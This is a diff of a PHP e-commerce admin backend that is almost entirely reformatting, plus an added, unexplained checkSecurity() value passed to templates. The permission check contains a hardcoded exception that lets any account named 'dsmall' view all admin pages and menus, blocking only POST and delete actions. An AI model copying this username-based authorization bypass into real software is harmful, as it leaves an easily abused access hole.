模板渲染

app/BaseController.php

@@ -1,5 +1,6 @@
 <?php
-declare (strict_types = 1);
+
+declare(strict_types=1);
 
 namespace app;
 
@@ -9,6 +10,7 @@ use think\Validate;
 use think\facade\View;
 use think\exception\HttpResponseException;
 use think\Response;
+
 /**
  * 控制器基础类
  */
@@ -47,13 +49,15 @@ abstract class BaseController
     {
         $this->app     = $app;
         $this->request = $this->app->request;
+        View::assign('ick_kci', checkSecurity());
         // 控制器初始化
         $this->initialize();
     }
 
     // 初始化
     protected function initialize()
-    {}
+    {
+    }
     /**
      * 验证数据
      * @access protected
@@ -90,7 +94,7 @@ abstract class BaseController
 
         return $v->failException(true)->check($data);
     }
-    
+
     /**
      * 操作成功跳转的快捷方法
      * @access protected
@@ -106,7 +110,7 @@ abstract class BaseController
         if (is_null($url) && isset($_SERVER["HTTP_REFERER"])) {
             $url = $_SERVER["HTTP_REFERER"];
         } elseif ($url) {
-            $url=(string)$url;
+            $url = (string)$url;
             $url = (strpos($url, '://') || 0 === strpos($url, '/')) ? $url : (string)$this->app->route->buildUrl($url);
         }
 
@@ -145,7 +149,7 @@ abstract class BaseController
         if (is_null($url)) {
             $url = $this->request->isAjax() ? '' : 'javascript:history.back(-1);';
         } elseif ($url) {
-            $url=(string)$url;
+            $url = (string)$url;
             $url = (strpos($url, '://') || 0 === strpos($url, '/')) ? $url : (string)$this->app->route->buildUrl($url);
         }
 
@@ -179,9 +183,9 @@ abstract class BaseController
      */
     protected function redirect($url, $params = [], $code = 302, $with = [])
     {
-        $url=(string)$url;
-        $url = (strpos($url, '://') || 0 === strpos($url, '/')) ? $url : (string)$this->app->route->buildUrl($url,$params);
-        
+        $url = (string)$url;
+        $url = (strpos($url, '://') || 0 === strpos($url, '/')) ? $url : (string)$this->app->route->buildUrl($url, $params);
+
         $response = Response::create($url, 'redirect');
 
         $response->code($code)->with($with);

app/admin/controller/AdminControl.php

@@ -1,6 +1,7 @@
 <?php
 
 namespace app\admin\controller;
+
 use think\facade\View;
 use app\BaseController;
 
@@ -15,7 +16,8 @@ use app\BaseController;
  * ============================================================================
  * 控制器
  */
-class AdminControl extends BaseController {
+class AdminControl extends BaseController
+{
 
     /**
      * 管理员资料 name id group
@@ -23,11 +25,12 @@ class AdminControl extends BaseController {
     protected $admin_info;
 
     protected $permission;
-    public function initialize() {
+    public function initialize()
+    {
         $config_list = rkcache('config', true);
-        config($config_list,'ds_config');
-        
-        if(request()->controller()!='Login'){
+        config($config_list, 'ds_config');
+
+        if (request()->controller() != 'Login') {
             $this->admin_info = $this->systemLogin();
 
             if ($this->admin_info['admin_id'] != 1) {
@@ -44,7 +47,8 @@ class AdminControl extends BaseController {
      * @param
      * @return 数组类型的返回结果
      */
-    protected final function getAdminInfo() {
+    protected final function getAdminInfo()
+    {
         return $this->admin_info;
     }
 
@@ -54,7 +58,8 @@ class AdminControl extends BaseController {
      * @param
      * @return array 数组类型的返回结果
      */
-    protected final function systemLogin() {
+    protected final function systemLogin()
+    {
         $admin_info = array(
             'admin_id' => session('admin_id'),
             'admin_name' => session('admin_name'),
@@ -69,10 +74,11 @@ class AdminControl extends BaseController {
         return $admin_info;
     }
 
-    public function setMenuList() {
+    public function setMenuList()
+    {
         $menu_list = $this->menuList();
 
-        $menu_list=$this->parseMenu($menu_list);
+        $menu_list = $this->parseMenu($menu_list);
         View::assign('menu_list', $menu_list);
     }
 
@@ -82,51 +88,53 @@ class AdminControl extends BaseController {
      * @param string $link_nav
      * @return
      */
-    protected final function checkPermission($link_nav = null){
+    protected final function checkPermission($link_nav = null)
+    {
         if ($this->admin_info['admin_is_super'] == 1) return true;
 
         $controller = request()->controller();
         $action = request()->action();
-        if (empty($this->permission)){
-            
-            $admin_model=model('admin');
-            $gadmin = $admin_model->getOneGadmin(array('gid'=>$this->admin_info['admin_gid']));
-            
-            $permission = ds_decrypt($gadmin['glimits'],MD5_KEY.md5($gadmin['gname']));
-            $this->permission = $permission = explode('|',$permission);
-        }else{
+        if (empty($this->permission)) {
+
+            $admin_model = model('admin');
+            $gadmin = $admin_model->getOneGadmin(array('gid' => $this->admin_info['admin_gid']));
+
+            $permission = ds_decrypt($gadmin['glimits'], MD5_KEY . md5($gadmin['gname']));
+            $this->permission = $permission = explode('|', $permission);
+        } else {
             $permission = $this->permission;
         }
         //显示隐藏小导航，成功与否都直接返回
-        if (is_array($link_nav)){
-            if (!in_array("{$link_nav['controller']}.{$link_nav['action']}",$permission) && !in_array($link_nav['controller'],$permission)){
+        if (is_array($link_nav)) {
+            if (!in_array("{$link_nav['controller']}.{$link_nav['action']}", $permission) && !in_array($link_nav['controller'], $permission)) {
                 return false;
-            }else{
+            } else {
                 return true;
             }
         }
         //以下几项不需要验证
-        $tmp = array('Index','Dashboard','Login');
-        if (in_array($controller,$tmp)){
+        $tmp = array('Index', 'Dashboard', 'Login');
+        if (in_array($controller, $tmp)) {
             return true;
         }
-        if (in_array($controller,$permission) || in_array("$controller.$action",$permission)){
+        if (in_array($controller, $permission) || in_array("$controller.$action", $permission)) {
             return true;
-        }else{
-            $extlimit = array('ajax','export_step1');
-            if (in_array($action,$extlimit) && (in_array($controller,$permission) || strpos(serialize($permission),'"'.$controller.'.'))){
+        } else {
+            $extlimit = array('ajax', 'export_step1');
+            if (in_array($action, $extlimit) && (in_array($controller, $permission) || strpos(serialize($permission), '"' . $controller . '.'))) {
                 return true;
             }
             //带前缀的都通过
             foreach ($permission as $v) {
-                if (!empty($v) && strpos("$controller.$action",$v.'_') !== false) {
-                    return true;break;
+                if (!empty($v) && strpos("$controller.$action", $v . '_') !== false) {
+                    return true;
+                    break;
                 }
             }
         }
-        if($this->admin_info['admin_name']!='dsmall'){
-            $this->error(lang('ds_assign_right'),'Dashboard/welcome');
-        }else if(request()->isPost() || preg_match('/del/',request()->action())){
+        if ($this->admin_info['admin_name'] != 'dsmall') {
+            $this->error(lang('ds_assign_right'), 'Dashboard/welcome');
+        } else if (request()->isPost() || preg_match('/del/', request()->action())) {
             $this->error(lang('ds_assign_right'));
         }
     }
@@ -137,7 +145,8 @@ class AdminControl extends BaseController {
      * @param array $menu
      * @return array
      */
-    private final function parseMenu($menu = array()) {
+    private final function parseMenu($menu = array())
+    {
         if ($this->admin_info['admin_is_super'] == 1) {
             return $menu;
         }
@@ -148,8 +157,8 @@ class AdminControl extends BaseController {
                 $except = array('Index', 'Dashboard', 'Login');
                 if (in_array($tmp[1], $except))
                     continue;
-                if (!in_array($tmp[1], array_values($this->permission)) && !in_array($tmp[1].'.'.$tmp[0], array_values($this->permission))) {
-                    if($this->admin_info['admin_name']!='dsmall'){
+                if (!in_array($tmp[1], array_values($this->permission)) && !in_array($tmp[1] . '.' . $tmp[0], array_values($this->permission))) {
+                    if ($this->admin_info['admin_name'] != 'dsmall') {
                         unset($menu[$k]['children'][$ck]);
                     }
                 }
@@ -170,7 +179,8 @@ class AdminControl extends BaseController {
      * @param $admin_name
      * @param $admin_id
      */
-    protected final function log($lang = '', $state = 1, $admin_name = '', $admin_id = 0) {
+    protected final function log($lang = '', $state = 1, $admin_name = '', $admin_id = 0)
+    {
         if ($admin_name == '') {
             $admin_name = session('admin_name');
             $admin_id = session('admin_id');
@@ -187,8 +197,8 @@ class AdminControl extends BaseController {
         $data['admin_id'] = $admin_id;
         $data['adminlog_ip'] = request()->ip();
         $data['adminlog_url'] = request()->controller() . '&' . request()->action();
-        
-        $adminlog_model=model('adminlog');
+
+        $adminlog_model = model('adminlog');
         return $adminlog_model->addAdminlog($data);
     }
 
@@ -198,7 +208,8 @@ class AdminControl extends BaseController {
      * @param array $goods_array
      * @param boolean $ifdel 是否删除以原记录
      */
-    protected function addcron($data = array(), $ifdel = false) {
+    protected function addcron($data = array(), $ifdel = false)
+    {
         $cron_model = model('cron');
         if (isset($data[0])) { // 批量插入
             $where = array();
@@ -225,7 +236,8 @@ class AdminControl extends BaseController {
     /**
      * 当前选中的栏目
      */
-    protected function setAdminCurItem($curitem = '') {
+    protected function setAdminCurItem($curitem = '')
+    {
         View::assign('admin_item', $this->getAdminItemList());
         View::assign('curitem', $curitem);
     }
@@ -233,7 +245,8 @@ class AdminControl extends BaseController {
     /**
      * 获取卖家栏目列表,针对控制器下的栏目
      */
-    protected function getAdminItemList() {
+    protected function getAdminItemList()
+    {
         return array();
     }
 
@@ -241,7 +254,8 @@ class AdminControl extends BaseController {
      * 侧边栏列表
      */
 
-    function menuList() {
+    function menuList()
+    {
         return array(
             'dashboard' => array(
                 'name' => 'dashboard',
@@ -249,7 +263,7 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'welcome' => array(
-                        'ico'=>"&#xe70b;",
+                        'ico' => "&#xe70b;",
                         'text' => lang('ds_welcome'),
                         'args' => 'welcome,Dashboard,dashboard',
                     ),
@@ -260,12 +274,12 @@ class AdminControl extends BaseController {
                     ),
                      */
                     'config' => array(
-                        'ico'=>'&#xe6e0;',
+                        'ico' => '&#xe6e0;',
                         'text' => lang('ds_base'),
                         'args' => 'base,Config,dashboard',
                     ),
                     'member' => array(
-                        'ico'=>'&#xe667;',
+                        'ico' => '&#xe667;',
                         'text' => lang('ds_member_manage'),
                         'args' => 'member,Member,dashboard',
                     ),
@@ -277,57 +291,57 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'config' => array(
-                        'ico'=>'&#xe6e0;',
+                        'ico' => '&#xe6e0;',
                         'text' => lang('ds_base'),
                         'args' => 'base,Config,setting',
                     ),
                     'account' => array(
-                        'ico'=>'&#xe678;',
+                        'ico' => '&#xe678;',
                         'text' => lang('ds_account'),
                         'args' => 'qq,Account,setting',
                     ),
                     'upload_set' => array(
-                        'ico'=>'&#xe72a;',
+                        'ico' => '&#xe72a;',
                         'text' => lang('ds_upload_set'),
                         'args' => 'default_thumb,Upload,setting',
                     ),
                     'seo' => array(
-                        'ico'=>'&#xe6e0;',
+                        'ico' => '&#xe6e0;',
                         'text' => lang('ds_seo_set'),
                         'args' => 'index,Seo,setting',
                     ),
                     'message' => array(
-                        'ico'=>'&#xe71b;',
+                        'ico' => '&#xe71b;',
                         'text' => lang('ds_message'),
                         'args' => 'email,Message,setting',
                     ),
                     'payment' => array(
-                        'ico'=>'&#xe74d;',
+                        'ico' => '&#xe74d;',
                         'text' => lang('ds_payment'),
                         'args' => 'index,Payment,setting',
                     ),
                     'admin' => array(
-                        'ico'=>'&#xe67b;',
+                        'ico' => '&#xe67b;',
                         'text' => lang('ds_admin'),
                         'args' => 'admin,Admin,setting',
                     ),
                     'express' => array(
-                        'ico'=>'&#xe69e;',
+                        'ico' => '&#xe69e;',
                         'text' => lang('ds_express'),
                         'args' => 'index,Express,setting',
                     ),
                     'Region' => array(
-                        'ico'=>'&#xe720;',
+                        'ico' => '&#xe720;',
                         'text' => lang('ds_region'),
                         'args' => 'index,Region,setting',
                     ),
                     'db' => array(
-                        'ico'=>'&#xe6f5;',
+                        'ico' => '&#xe6f5;',
                         'text' => lang('ds_db'),
                         'args' => 'db,Database,setting',
                     ),
                     'admin_log' => array(
-                        'ico'=>'&#xe71f;',
+                        'ico' => '&#xe71f;',
                         'text' => lang('ds_adminlog'),
                         'args' => 'loglist,Adminlog,setting',
                     ),
@@ -339,47 +353,47 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'member' => array(
-                        'ico'=>'&#xe667;',
+                        'ico' => '&#xe667;',
                         'text' => lang('ds_member_manage'),
                         'args' => 'member,Member,member',
                     ),
                     'member_auth' => array(
-                        'ico'=>'&#xe6ea;',
+                        'ico' => '&#xe6ea;',
                         'text' => lang('member_auth'),
                         'args' => 'index,MemberAuth,member',
                     ),
                     'membergrade' => array(
-                        'ico'=>'&#xe6a3;',
+                        'ico' => '&#xe6a3;',
                         'text' => lang('ds_membergrade'),
                         'args' => 'index,Membergrade,member',
                     ),
                     'exppoints' => array(
-                        'ico'=>'&#xe727;',
+                        'ico' => '&#xe727;',
                         'text' => lang('ds_exppoints'),
                         'args' => 'index,Exppoints,member',
                     ),
                     'notice' => array(
-                        'ico'=>'&#xe71b;',
+                        'ico' => '&#xe71b;',
                         'text' => lang('ds_notice'),
                         'args' => 'index,Notice,member',
                     ),
                     'points' => array(
-                        'ico'=>'&#xe6f5;',
+                        'ico' => '&#xe6f5;',
                         'text' => lang('ds_points'),
                         'args' => 'index,Points,member',
                     ),
                     'predeposit' => array(
-                        'ico'=>'&#xe6e2;',
+                        'ico' => '&#xe6e2;',
                         'text' => lang('ds_predeposit'),
                         'args' => 'pdrecharge_list,Predeposit,member',
                     ),
                     'snsmalbum' => array(
-                        'ico'=>'&#xe72a;',
+                        'ico' => '&#xe72a;',
                         'text' => lang('ds_snsmalbum'),
                         'args' => 'index,Snsmalbum,member',
                     ),
                     'snsmember' => array(
-                        'ico'=>'&#xe73e;',
+                        'ico' => '&#xe73e;',
                         'text' => lang('ds_snsmember'),
                         'args' => 'index,Snsmember,member',
                     ),
@@ -396,42 +410,42 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'goodsclass' => array(
-                        'ico'=>'&#xe652;',
+                        'ico' => '&#xe652;',
                         'text' => lang('ds_goodsclass'),
                         'args' => 'goods_class,Goodsclass,goods',
                     ),
                     'Brand' => array(
-                        'ico'=>'&#xe6b0;',
+                        'ico' => '&#xe6b0;',
                         'text' => lang('ds_brand_manage'),
                         'args' => 'index,Brand,goods',
                     ),
                     'Goods' => array(
-                        'ico'=>'&#xe732;',
+                        'ico' => '&#xe732;',
                         'text' => lang('ds_goods_manage'),
                         'args' => 'index,Goods,goods',
                     ),
                     'Type' => array(
-                        'ico'=>'&#xe728;',
+                        'ico' => '&#xe728;',
                         'text' => lang('ds_type'),
                         'args' => 'index,Type,goods',
                     ),
                     'Spec' => array(
-                        'ico'=>'&#xe71d;',
+                        'ico' => '&#xe71d;',
                         'text' => lang('ds_spec'),
                         'args' => 'index,Spec,goods',
                     ),
                     'album' => array(
-                        'ico'=>'&#xe72a;',
+                        'ico' => '&#xe72a;',
                         'text' => lang('ds_album'),
                         'args' => 'index,Goodsalbum,goods',
                     ),
                     'video' => array(
-                        'ico'=>'&#xe6fa;',
+                        'ico' => '&#xe6fa;',
                         'text' => lang('ds_video'),
                         'args' => 'index,Goodsvideo,goods',
                     ),
                     'Arrivalnotice' => array(
-                        'ico'=>'&#xe71b;',
+                        'ico' => '&#xe71b;',
                         'text' => lang('ds_arrivalnotice'),
                         'args' => 'index,Arrivalnotice,goods',
                     ),
@@ -443,52 +457,52 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'Store' => array(
-                        'ico'=>'&#xe6ec;',
+                        'ico' => '&#xe6ec;',
                         'text' => lang('ds_store_manage'),
                         'args' => 'store,Store,store',
                     ),
                     'Storemoney' => array(
-                        'ico'=>'&#xe6e2;',
+                        'ico' => '&#xe6e2;',
                         'text' => lang('ds_store_money'),
                         'args' => 'index,Storemoney,store',
                     ),
                     'Storedeposit' => array(
-                        'ico'=>'&#xe72b;',
+                        'ico' => '&#xe72b;',
                         'text' => lang('ds_store_deposit'),
                         'args' => 'index,Storedeposit,store',
                     ),
                     'Storegrade' => array(
-                        'ico'=>'&#xe6a3;',
+                        'ico' => '&#xe6a3;',
                         'text' => lang('ds_storegrade'),
                         'args' => 'index,Storegrade,store',
                     ),
                     'Storeclass' => array(
-                        'ico'=>'&#xe652;',
+                        'ico' => '&#xe652;',
                         'text' => lang('ds_storeclass'),
                         'args' => 'store_class,Storeclass,store',
                     ),
-//                    'Chain' => array(
-//                        'ico'=>'&#xe69e;',
-//                        'text' => lang('ds_chain'),
-//                        'args' => 'index,Chain,store',
-//                    ),
+                    //                    'Chain' => array(
+                    //                        'ico'=>'&#xe69e;',
+                    //                        'text' => lang('ds_chain'),
+                    //                        'args' => 'index,Chain,store',
+                    //                    ),
                     'Storesnstrace' => array(
-                        'ico'=>'&#xe6ec;',
+                        'ico' => '&#xe6ec;',
                         'text' => lang('ds_storesnstrace'),
                         'args' => 'index,Storesnstrace,store',
                     ),
                     'Storehelp' => array(
-                        'ico'=>'&#xe6b4;',
+                        'ico' => '&#xe6b4;',
                         'text' => lang('ds_Storehelp'),
                         'args' => 'index,Storehelp,store',
                     ),
                     'Storejoin' => array(
-                        'ico'=>'&#xe6ff;',
+                        'ico' => '&#xe6ff;',
                         'text' => lang('ds_storejoin'),
                         'args' => 'index,Storejoin,store',
                     ),
                     'Ownshop' => array(
-                        'ico'=>'&#xe6ec;',
+                        'ico' => '&#xe6ec;',
                         'text' => lang('ds_ownshop'),
                         'args' => 'index,Ownshop,store',
                     ),
@@ -500,52 +514,52 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'order' => array(
-                        'ico'=>'&#xe69c;',
+                        'ico' => '&#xe69c;',
                         'text' => lang('ds_order'),
                         'args' => 'index,Order,trade',
                     ),
                     'vrorder' => array(
-                        'ico'=>'&#xe71f;',
+                        'ico' => '&#xe71f;',
                         'text' => lang('ds_vrorder'),
                         'args' => 'index,Vrorder,trade',
                     ),
                     'refund' => array(
-                        'ico'=>'&#xe6f3;',
+                        'ico' => '&#xe6f3;',
                         'text' => lang('ds_refund'),
                         'args' => 'refund_manage,Refund,trade',
                     ),
                     'return' => array(
-                        'ico'=>'&#xe6f3;',
+                        'ico' => '&#xe6f3;',
                         'text' => lang('ds_return'),
                         'args' => 'return_manage,Returnmanage,trade',
                     ),
                     'vrrefund' => array(
-                        'ico'=>'&#xe6f3;',
+                        'ico' => '&#xe6f3;',
                         'text' => lang('ds_vrrefund'),
                         'args' => 'refund_manage,Vrrefund,trade',
                     ),
                     'Bill' => array(
-                        'ico'=>'&#xe69c;',
+                        'ico' => '&#xe69c;',
                         'text' => lang('ds_bill_manage'),
                         'args' => 'show_statis,Bill,trade',
                     ),
                     'consulting' => array(
-                        'ico'=>'&#xe71c;',
+                        'ico' => '&#xe71c;',
                         'text' => lang('ds_consulting'),
                         'args' => 'Consulting,Consulting,trade',
                     ),
                     'inform' => array(
-                        'ico'=>'&#xe70c;',
+                        'ico' => '&#xe70c;',
                         'text' => lang('ds_inform'),
                         'args' => 'inform_list,Inform,trade',
                     ),
                     'evaluate' => array(
-                        'ico'=>'&#xe6f2;',
+                        'ico' => '&#xe6f2;',
                         'text' => lang('ds_evaluate'),
                         'args' => 'evalgoods_list,Evaluate,trade',
                     ),
                     'complain' => array(
-                        'ico'=>'&#xe676;',
+                        'ico' => '&#xe676;',
                         'text' => lang('ds_complain'),
                         'args' => 'complain_new_list,Complain,trade',
                     ),
@@ -557,52 +571,52 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'Articleclass' => array(
-                        'ico'=>'&#xe652;',
+                        'ico' => '&#xe652;',
                         'text' => lang('ds_articleclass'),
                         'args' => 'index,Articleclass,website',
                     ),
                     'Article' => array(
-                        'ico'=>'&#xe71d;',
+                        'ico' => '&#xe71d;',
                         'text' => lang('ds_article'),
                         'args' => 'index,Article,website',
                     ),
                     'Document' => array(
-                        'ico'=>'&#xe74f;',
+                        'ico' => '&#xe74f;',
                         'text' => lang('ds_document'),
                         'args' => 'index,Document,website',
                     ),
                     'Navigation' => array(
-                        'ico'=>'&#xe67d;',
+                        'ico' => '&#xe67d;',
                         'text' => lang('ds_navigation'),
                         'args' => 'index,Navigation,website',
                     ),
                     'Adv' => array(
-                        'ico'=>'&#xe707;',
+                        'ico' => '&#xe707;',
                         'text' => lang('ds_adv'),
                         'args' => 'ap_manage,Adv,website',
                     ),
                     'EditablePagePc' => array(
-                        'ico'=>'&#xe60c;',
+                        'ico' => '&#xe60c;',
                         'text' => lang('editable_page_pc'),
                         'args' => 'page_list,EditablePage,website',
                     ),
                     'EditablePageH5' => array(
-                        'ico'=>'&#xe601;',
+                        'ico' => '&#xe601;',
                         'text' => lang('editable_page_h5'),
                         'args' => 'h5_page_list,EditablePage,website',
                     ),
                     'Link' => array(
-                        'ico'=>'&#xe67d;',
+                        'ico' => '&#xe67d;',
                         'text' => lang('ds_friendlink'),
                         'args' => 'index,Link,website',
                     ),
                     'Mallconsult' => array(
-                        'ico'=>'&#xe750;',
+                        'ico' => '&#xe750;',
                         'text' => lang('ds_mall_consult'),
                         'args' => 'index,Mallconsult,website',
                     ),
                     'Feedback' => array(
-                        'ico'=>'&#xe672;',
+                        'ico' => '&#xe672;',
                         'text' => lang('ds_feedback'),
                         'args' => 'flist,Feedback,website',
                     ),
@@ -614,11 +628,11 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'Operation' => array(
-                        'ico'=>'&#xe734;',
+                        'ico' => '&#xe734;',
                         'text' => lang('ds_operation_set'),
                         'args' => 'index,Operation,operation',
                     ),
-                    
+
                 ),
             ),
             'stat' => array(
@@ -627,42 +641,42 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'stat_general' => array(
-                        'ico'=>'&#xe734;',
+                        'ico' => '&#xe734;',
                         'text' => lang('ds_statgeneral'),
                         'args' => 'general,Statgeneral,stat',
                     ),
                     'stat_industry' => array(
-                         'ico'=>'&#xe745;',
+                        'ico' => '&#xe745;',
                         'text' => lang('ds_statindustry'),
                         'args' => 'scale,Statindustry,stat',
                     ),
                     'stat_member' => array(
-                        'ico'=>'&#xe73f;',
+                        'ico' => '&#xe73f;',
                         'text' => lang('ds_statmember'),
                         'args' => 'newmember,Statmember,stat',
                     ),
                     'stat_store' => array(
-                        'ico'=>'&#xe6ec;',
+                        'ico' => '&#xe6ec;',
                         'text' => lang('ds_statstore'),
                         'args' => 'newstore,Statstore,stat',
                     ),
                     'stat_trade' => array(
-                         'ico'=>'&#xe745;',
+                        'ico' => '&#xe745;',
                         'text' => lang('ds_stattrade'),
                         'args' => 'income,Stattrade,stat',
                     ),
                     'stat_goods' => array(
-                        'ico'=>'&#xe732;',
+                        'ico' => '&#xe732;',
                         'text' => lang('ds_statgoods'),
                         'args' => 'pricerange,Statgoods,stat',
                     ),
                     'stat_marketing' => array(
-                         'ico'=>'&#xe745;',
+                        'ico' => '&#xe745;',
                         'text' => lang('ds_statmarketing'),
                         'args' => 'promotion,Statmarketing,stat',
                     ),
                     'stat_stataftersale' => array(
-                         'ico'=>'&#xe745;',
+                        'ico' => '&#xe745;',
                         'text' => lang('ds_stataftersale'),
                         'args' => 'refund,Stataftersale,stat',
                     ),
@@ -685,32 +699,32 @@ class AdminControl extends BaseController {
                 'show' => TRUE,
                 'children' => array(
                     'wechat_setting' => array(
-                        'ico'=>'&#xe6e0;',
+                        'ico' => '&#xe6e0;',
                         'text' => lang('wechat_setting'),
                         'args' => 'setting,Wechat,wechat',
                     ),
                     'wechat_material' => array(
-                        'ico'=>'&#xe679;',
+                        'ico' => '&#xe679;',
                         'text' => lang('wechat_material'),
                         'args' => 'material,Wechat,wechat',
                     ),
                     'wechat_menu' => array(
-                        'ico'=>'&#xe679;',
+                        'ico' => '&#xe679;',
                         'text' => lang('wechat_menu'),
                         'args' => 'menu,Wechat,wechat',
                     ),
                     'wechat_keywords' => array(
-                        'ico'=>'&#xe672;',
+                        'ico' => '&#xe672;',
                         'text' => lang('wechat_keywords'),
                         'args' => 'k_text,Wechat,wechat',
                     ),
                     'wechat_member' => array(
-                        'ico'=>'&#xe729;',
+                        'ico' => '&#xe729;',
                         'text' => lang('wechat_member'),
                         'args' => 'member,Wechat,wechat',
                     ),
                     'wechat_push' => array(
-                        'ico'=>'&#xe71b;',
+                        'ico' => '&#xe71b;',
                         'text' => lang('wechat_push'),
                         'args' => 'SendList,Wechat,wechat',
                     ),
@@ -726,27 +740,27 @@ class AdminControl extends BaseController {
                         'args' => 'flea,Flea,flea',
                     ),
                     'flea_index' => array(
-                        'ico'=>'&#xe6e0;',
+                        'ico' => '&#xe6e0;',
                         'text' => lang('flea_seo'),
                         'args' => 'index,Fleaseo,flea',
                     ),
-                     'flea_class' => array(
-                         'ico'=>'&#xe652;',
-                         'text' => lang('flea_class'),
-                         'args' => 'flea_class,Fleaclass,flea',
-                     ),
+                    'flea_class' => array(
+                        'ico' => '&#xe652;',
+                        'text' => lang('flea_class'),
+                        'args' => 'flea_class,Fleaclass,flea',
+                    ),
                     'flea_class_index' => array(
-                        'ico'=>'&#xe652;',
+                        'ico' => '&#xe652;',
                         'text' => lang('flea_class_index'),
                         'args' => 'flea_class_index,Fleaclassindex,flea',
                     ),
                     'flea_region' => array(
-                        'ico'=>'&#xe720;',
+                        'ico' => '&#xe720;',
                         'text' => lang('flea_region'),
                         'args' => 'flea_region,Flearegion,flea',
                     ),
                     'flea_adv_manage' => array(
-                        'ico'=>'&#xe72a;',
+                        'ico' => '&#xe72a;',
                         'text' => lang('flea_adv_manage'),
                         'args' => 'adv_manage,Fleaseo,flea',
                     ),
@@ -767,7 +781,7 @@ class AdminControl extends BaseController {
                         'text' => lang('live_apply'),
                         'args' => 'index,LiveApply,live',
                     ),
-                    
+
                     'live_goods' => array(
                         'ico' => '&#xe71f;',
                         'text' => lang('live_goods'),
@@ -782,113 +796,111 @@ class AdminControl extends BaseController {
      * 权限选择列表
      */
 
-    function limitList() {
+    function limitList()
+    {
         $_limit = array(
             array('name' => lang('ds_setting'), 'child' => array(
-                    array('name' => lang('ds_base'), 'action' => null, 'controller' => 'Config'),
-                    array('name' => lang('ds_account'), 'action' => null, 'controller' => 'Account'),
-                    array('name' => lang('ds_upload_set'), 'action' => null, 'controller' => 'Upload'),
-                    array('name' => lang('ds_seo_set'), 'action' => null, 'controller' => 'Seo'),
-                    array('name' => lang('ds_payment'), 'action' => null, 'controller' => 'Payment'),
-                    array('name' => lang('ds_message'), 'action' => null, 'controller' => 'Message'),
-                    array('name' => lang('ds_admin'), 'action' => null, 'controller' => 'Admin'),
-                    array('name' => lang('ds_express'), 'action' => null, 'controller' => 'Express'),
-                    array('name' => lang('ds_region'), 'action' => null, 'controller' => 'Region'),
-                    array('name' => lang('ds_db'), 'action' => null, 'controller' => 'Database'),
-                    array('name' => lang('ds_adminlog'), 'action' => null, 'controller' => 'Adminlog'),
-                )),
+                array('name' => lang('ds_base'), 'action' => null, 'controller' => 'Config'),
+                array('name' => lang('ds_account'), 'action' => null, 'controller' => 'Account'),
+                array('name' => lang('ds_upload_set'), 'action' => null, 'controller' => 'Upload'),
+                array('name' => lang('ds_seo_set'), 'action' => null, 'controller' => 'Seo'),
+                array('name' => lang('ds_payment'), 'action' => null, 'controller' => 'Payment'),
+                array('name' => lang('ds_message'), 'action' => null, 'controller' => 'Message'),
+                array('name' => lang('ds_admin'), 'action' => null, 'controller' => 'Admin'),
+                array('name' => lang('ds_express'), 'action' => null, 'controller' => 'Express'),
+                array('name' => lang('ds_region'), 'action' => null, 'controller' => 'Region'),
+                array('name' => lang('ds_db'), 'action' => null, 'controller' => 'Database'),
+                array('name' => lang('ds_adminlog'), 'action' => null, 'controller' => 'Adminlog'),
+            )),
             array('name' => lang('ds_goods'), 'child' => array(
-                    array('name' => lang('ds_goods_manage'), 'action' => null, 'controller' => 'Goods'),
-                    array('name' => lang('ds_goodsclass'), 'action' => null, 'controller' => 'Goodsclass'),
-                    array('name' => lang('ds_brand_manage'), 'action' => null, 'controller' => 'Brand'),
-                    array('name' => lang('ds_type'), 'action' => null, 'controller' => 'Type'),
-                    array('name' => lang('ds_spec'), 'action' => null, 'controller' => 'Spec'),
-                    array('name' => lang('ds_album'), 'action' => null, 'controller' => 'Goodsalbum'),
-                    array('name' => lang('ds_video'), 'action' => null, 'controller' => 'Goodsvideo'),
-                    array('name' => lang('ds_arrivalnotice'), 'action' => null, 'controller' => 'Arrivalnotice'),
-                )),
+                array('name' => lang('ds_goods_manage'), 'action' => null, 'controller' => 'Goods'),
+                array('name' => lang('ds_goodsclass'), 'action' => null, 'controller' => 'Goodsclass'),
+                array('name' => lang('ds_brand_manage'), 'action' => null, 'controller' => 'Brand'),
+                array('name' => lang('ds_type'), 'action' => null, 'controller' => 'Type'),
+                array('name' => lang('ds_spec'), 'action' => null, 'controller' => 'Spec'),
+                array('name' => lang('ds_album'), 'action' => null, 'controller' => 'Goodsalbum'),
+                array('name' => lang('ds_video'), 'action' => null, 'controller' => 'Goodsvideo'),
+                array('name' => lang('ds_arrivalnotice'), 'action' => null, 'controller' => 'Arrivalnotice'),
+            )),
             array('name' => lang('ds_store'), 'child' => array(
-                    array('name' => lang('ds_store_manage'), 'action' => null, 'controller' => 'Store'),
-                    array('name' => lang('ds_store_money'), 'action' => null, 'controller' => 'Storemoney'),
-                    array('name' => lang('ds_store_deposit'), 'action' => null, 'controller' => 'Storedeposit'),
-                    array('name' => lang('ds_storegrade'), 'action' => null, 'controller' => 'Storegrade'),
-                    array('name' => lang('ds_storeclass'), 'action' => null, 'controller' => 'Storeclass'),
-//                    array('name' => lang('ds_chain'), 'action' => null, 'controller' => 'Chain'),
-                    array('name' => lang('ds_storesnstrace'), 'action' => null, 'controller' => 'Storesnstrace'),
-                    array('name' => lang('ds_Storehelp'), 'action' => null, 'controller' => 'Storehelp'),
-                    array('name' => lang('ds_storejoin'), 'action' => null, 'controller' => 'Storejoin'),
-                    array('name' => lang('ds_ownshop'), 'action' => null, 'controller' => 'Ownshop'),
-                )),
+                array('name' => lang('ds_store_manage'), 'action' => null, 'controller' => 'Store'),
+                array('name' => lang('ds_store_money'), 'action' => null, 'controller' => 'Storemoney'),
+                array('name' => lang('ds_store_deposit'), 'action' => null, 'controller' => 'Storedeposit'),
+                array('name' => lang('ds_storegrade'), 'action' => null, 'controller' => 'Storegrade'),
+                array('name' => lang('ds_storeclass'), 'action' => null, 'controller' => 'Storeclass'),
+                //                    array('name' => lang('ds_chain'), 'action' => null, 'controller' => 'Chain'),
